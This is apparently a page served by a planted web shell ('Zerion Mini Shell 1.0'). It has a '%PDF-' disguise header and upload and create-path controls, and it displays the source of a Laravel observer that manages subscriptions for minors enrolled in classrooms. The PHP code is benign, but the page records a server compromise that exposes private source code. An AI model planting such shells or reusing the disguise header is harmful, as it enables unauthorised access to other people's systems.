%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/camillo/camillo-api-master/app/Observers/
Upload File :
Create Path :
Current File : /var/www/html/camillo/camillo-api-master/app/Observers/ClassroomMinorObserver.php

<?php

namespace App\Observers;

use App\Models\Pivots\ClassroomMinor;
use App\Models\Subscription;
use Carbon\Carbon;
use Illuminate\Http\Response;
use Symfony\Component\HttpKernel\Exception\HttpException;

class ClassroomMinorObserver
{
    /**
     * Handle the user "created" event.
     *
     * @param \App\Models\Pivots\ClassroomMinor $classroomMinor
     *
     * @return void
     */
    public function creating(ClassroomMinor $classroomMinor)
    {
        $minor = $classroomMinor->minor;
        if ($minor->classrooms()->where('classrooms.id', "!=", $classroomMinor->classroom->id)->where('institute_id', $classroomMinor->classroom->institute_id)->count() > 0) {
            throw new HttpException(Response::HTTP_INTERNAL_SERVER_ERROR,__('Minor already associated to a classroom in the same institute'));
        }
        if ((bool)$classroomMinor->active) {
            Subscription::create([
                'minor_id' => $minor->id,
                'classroom_id' => $classroomMinor->classroom->id,
                'start_date' =>  Carbon::now()->startOfMonth()->format('Y-m-d'),
                'active' => true
            ]);
        }
    }

    /**
     * Handle the user "updated" event.
     *
     * @param \App\Models\Pivots\ClassroomMinor $classroomMinor
     *
     * @return void
     */
    public function updated(ClassroomMinor $classroomMinor)
    {
        if ((bool)$classroomMinor->getOriginal('active') !== (bool)$classroomMinor->active) {
            if ((bool)$classroomMinor->active) {
                Subscription::create([
                    'minor_id' => $classroomMinor->minor->id,
                    'classroom_id' => $classroomMinor->classroom->id,
                    'start_date' =>  Carbon::now()->startOfMonth()->format('Y-m-d'),
                    'active' => true
                ]);
            }
            else {
                Subscription::where('minor_id', $classroomMinor->minor->id)->where(
                    'classroom_id', $classroomMinor->classroom->id
                )->where('active', true)->update([
                    'active' => false,
                    'end_date' => Carbon::now()->endOfMonth()->format('Y-m-d')
                ]);
            }
        }
    }

    /**
     * Handle the user "deleted" event.
     *
     * @param \App\Models\Pivots\ClassroomMinor $classroomMinor
     *
     * @return void
     */
    public function deleted(ClassroomMinor $classroomMinor)
    {
        Subscription::where('minor_id', $classroomMinor->minor->id)->where(
            'classroom_id', $classroomMinor->classroom->id
        )->where('active', true)->update([
            'active' => false,
            'end_date' => Carbon::now()->endOfMonth()->format('Y-m-d')
        ]);
    }

    /**
     * Handle the user "restored" event.
     *
     * @param \App\Models\Pivots\ClassroomMinor $classroomMinor
     *
     * @return void
     */
    public function restored(ClassroomMinor $classroomMinor)
    {
        //
    }

    /**
     * Handle the user "force deleted" event.
     *
     * @param \App\Models\Pivots\ClassroomMinor $classroomMinor
     *
     * @return void
     */
    public function forceDeleted(ClassroomMinor $classroomMinor)
    {
        //
    }
}

Zerion Mini Shell 1.0